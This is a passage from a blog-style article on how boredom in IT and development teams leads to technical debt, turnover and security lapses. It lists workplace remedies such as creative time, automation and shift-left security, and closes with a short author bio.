*   Technical debt accumulates: Small issues can easily compound into major headaches and, if not solved immediately, create tedious work in the future. As one of our clients experienced, what began as a "we'll fix it later" API workaround ended up costing months of refactoring when they needed to scale.
    
*   Innovation stagnates: Boredom kills creativity. Consider how a simple idea like containerization revolutionized deployment practices. These innovations don't come from teams going through the motions, they emerge when curious minds are given room to explore.
    
*   Skills atrophy: The tech world moves fast. If your team isn't learning, they're falling behind. I've seen teams struggling with cloud migrations because their skills were anchored in on-premises solutions. The cost isn't solely in retraining but in the missed opportunities and the inability to leverage new technologies effectively.
    
*   Talent exodus: The best engineers won't stick around if they're not challenged. Expect increased turnover.
    
*   Security vulnerabilities increase: Engaged teams are your first line of defense against cyber threats. When developers are invested in their work, they're more likely to spot potential security issues early. Bored teams, on the other hand, might miss critical vulnerabilities hidden in seemingly routine code. 
    
*   Product quality suffers: Passionate developers think about edge cases, user experience, and long-term maintainability. When motivation is eroded, so is attention to detail. This could manifest as buggy releases, poor user experiences, or systems that become increasingly difficult to maintain over time.
    

**How to Keep Things Interesting **

Even cutting-edge teams can fall into ruts if they're not careful. The key factor isn't necessarily the age of the technology, but the approach to working with it. Are you just keeping the lights on, or are you constantly looking for ways to improve and evolve your systems?

So, how do we fix this? Installing ping-pong tables or providing free snacks isn't quite what you should be after. The first priority is creating an environment where creativity and innovation can thrive, and where security is more than a boring checklist. 

Here are some concrete steps to take to wake up and engage your IT team:

*   Allow space for creativity and exploration: Set aside dedicated time for your team to exercise their creativity and curiosity. For example, implement a "10% time" policy where developers can work on self-directed projects one afternoon a week. This could lead to innovations like a new internal tool that streamlines your deployment process, or a creative solution to a long-standing bug.
    
*   Modernize and automate the boring stuff: Actively look for opportunities to introduce new tech — and do that by listening to the devs themselves and what tech they want to work with daily. Aggressively reduce false positives and noise in your workflows. Implement tools that automate repetitive tasks and filter out low-impact alerts. This frees up your team to focus on challenging, high-value problems. 
    
*   Give developers ownership of security: Instead of treating security as a separate, boring checklist, integrate it into the development process. Make security accessible to developers by giving them the tools and knowledge to "shift left" — addressing security early in the development cycle. This turns security from a chore into an engaging part of the creative process.
    
*   Implement a "get back to building" mindset: Focus on letting developers do what they love — building. Structure workflows to minimize interruptions and context-switching. For example, set up "no-meeting Wednesdays" or four-hour blocks of uninterrupted development time. This allows for deep work and the satisfaction of seeing projects progress.
    
*   Encourage continuous learning with practical applications: Provide context-rich, actionable information in your training efforts. Instead of generic training sessions, tie learning directly to ongoing projects. For instance, when introducing a new security tool, frame it as a workshop where the team applies it to a current development challenge.
    
*   Simplify and streamline processes: Look for ways to simplify your development and security processes. Could your code review process be streamlined? Is your deployment pipeline overly complex? Engage your team in finding elegant solutions to these challenges. The process of simplification itself can be a motivating and creative exercise.
    
*   Implement "security as code": Treat security configurations and policies as code. This not only improves consistency and version control but also makes security work feel more like a core development task rather than an external obligation.
    

The goal isn't to implement every new idea or chase every trend. It's about creating a culture where ideas flow freely, challenges are framed as learning opportunities, and your team feels encouraged to be creative. If you create an environment that values creativity, continuous learning, and calculated risk-taking, you can not only fight boredom, you can also build a resilient, adaptable team ready to tackle whatever challenges come their way.

Take a look at your team. Are they just going through the motions, or are they genuinely engaged? If it's the former, it's time to shake things up.

**About the Author**

Security Researcher & Advocate, Aikido

As a security researcher and advocate at Aikido, Mackenzie spends his days translating security jargon into human speak and convincing developers that they can care about security without sacrificing their will to live. He loves creating and advocating for security tools that easily integrate into the development process, focusing on reducing alert fatigue and improving the overall developer experience in security implementations.

Before joining Aikido, Mackenzie served as a developer advocate at GitGuardian for more than four years and co-founded and acted as chief technology officer (CTO) for Conpago, a technology company focused on combating social isolation among the elderly through innovative communication devices. Mackenzie is the host ofThe Security Repopodcast, where he explores emerging tech topics in cybersecurity and interviews other experts. In his personal time he brings cybersecurity stories to life in The Red Team Chronicles comic series. Mackenzie also regularly speaks at tech conferences like DevOxx, DefCon, NDC and BlackAlps.

Tag

#git